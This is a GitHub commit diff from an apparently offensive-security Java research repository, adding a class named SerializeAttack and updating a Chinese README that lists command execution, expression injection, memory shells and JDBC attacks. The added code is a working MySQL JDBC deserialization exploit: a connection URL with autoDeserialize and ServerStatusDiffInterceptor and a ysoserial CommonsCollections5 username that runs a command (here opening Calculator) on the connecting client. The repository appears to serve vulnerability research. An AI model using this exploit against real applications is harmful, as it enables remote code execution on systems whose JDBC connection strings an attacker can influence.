File tree Expand file tree Collapse file tree
src/main/java/org/example/mysql Expand file tree Collapse file tree Original file line number Diff line number Diff line change 1818 <groupId >mysql</groupId >
1919 <artifactId >mysql-connector-java</artifactId >
2020<!-- <version>3.1.11</version>-->
21- <!-- <version>5.1.19 </version>-->
21+ <!-- <version>5.1.29 </version>-->
2222<!-- <version>6.0.6</version>-->
2323 <version >8.0.19</version >
2424 </dependency >
Original file line number Diff line number Diff line change 22
33import java .sql .Connection ;
44import java .sql .DriverManager ;
5+ import java .sql .PreparedStatement ;
6+ import java .sql .ResultSet ;
57
68/**
79 * 反序列化
1214 */
1315public class SerializeAttack {
1416 public static void main (String [] args ) throws Exception {
17+ /**
18+ * [5.1.1, 5.1.10]
19+ * 使用 statementInterceptors 参数
20+ * 需要通过 查询调用
21+ */
22+ String serializeAttackUrl_5_1_10 = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections5_open -a Calculator.app" ;
23+ String username = "yso_CommonsCollections5_open -a Calculator.app" ;
24+ String password = "" ;
25+ Class .forName ("com.mysql.jdbc.Driver" );
26+ Connection con = DriverManager .getConnection (serializeAttackUrl_5_1_10 , username , password );
27+ String sql = "select database()" ;
28+ PreparedStatement ps = con .prepareStatement (sql );
29+ ResultSet resultSet = ps .executeQuery ();
30+
31+
1532 /**
1633 * [5.1.11, 5.1.48]
1734 * 使用 statementInterceptors 参数
@@ -46,9 +63,7 @@ public static void main(String[] args) throws Exception {
4663// String driver = "com.mysql.jdbc.Driver";
4764// Class.forName(driver);
4865
49-
50- Connection connection = DriverManager .getConnection (serializeAttackUrl_8_7_19 );
51-
66+ Connection connection = DriverManager .getConnection (serializeAttackUrl_5_29_40 );
5267
5368 }
5469
Original file line number Diff line number Diff line change @@ -4,13 +4,29 @@ By. Whoopsunix
44
55# 0x00 do what?
66
7- Java 能获取到权限的 Demo,目前涵盖命令执行、表达式、内存马、JDBC、反序列化、工具类
7+ 对照实战场景梳理 Java Rce 相关漏洞进一步利用方式
88
9- # 命令执行
9+ ## 目录
1010
11- 参考 [ javaweb-sec] ( https://github.com/javaweb-sec/javaweb-sec ) 很详细
11+ - [ 命令执行] ( #0x01-command )
12+ - [ 执行Demo] ( #执行demo )
13+ - [ 执行结果输出(InputStream 处理Demo)] (#执行结果输出(InputStream 处理Demo))
14+ - [ 表达式注入] ( #0x02-expression-inject )
15+ - [ OGNL] ( #ognl )
16+ - get、set执行,sout输出时的回显
17+ - [ SPEL] ( #spel )
18+ - [ JDBC Attack] ( #0x03-jdbc-attack )
19+ - mysql
1220
13- ## 执行方式
21+ 目前涵盖:命令执行及输出、表达式及输出、内存马、JDBC、反序列化、工具类
22+
23+ # 0x01 Command
24+
25+ 参考 [ javaweb-sec] ( https://github.com/javaweb-sec/javaweb-sec ) 有很详细的例子
26+
27+ [ 命令执行 Demo] ( Command )
28+
29+ ## 执行Demo
1430
1531- [x] Runtime
1632- [x] ProcessBuilder
@@ -31,21 +47,28 @@ Java 能获取到权限的 Demo,目前涵盖命令执行、表达式、内存
3147- [x] org.springframework: spring-core
3248- [x] org.apache.commons: commons-io
3349
34- # 表达式注入
50+ # 0x02 expression inject
3551
36- ## OGNL
52+ [ 表达式注入 Demo ] ( Expression )
3753
38- ## SPEL
54+ ## OGNL
3955
56+ - [x] 普通执行demo:get、set
57+ - [x] 有sout的回显 (Ps. 通过 Servlet 的回显移到 RceEcho 章节介绍)
58+ - 原生
59+ - base64加密
4060
61+ # 0x03 JDBC Attack
4162
42- # JDBC相关
63+ ## [ mysql ] ( JDBCAttack )
4364
44- # 内存马
65+ - [x] 文件读取
66+ - [x] 反序列化
4567
46- # 参考
68+ # 感谢师傅们的研究 带来了很大的帮助 :)
4769
4870> https://github.com/javaweb-sec/javaweb-sec
49- >
71+ >
5072> https://github.com/yzddmr6/Java-Js-Engine-Payloads
51- >
73+ >
74+ > https://github.com/su18/JDBC-Attack
You can’t perform that action at this time.
0 commit comments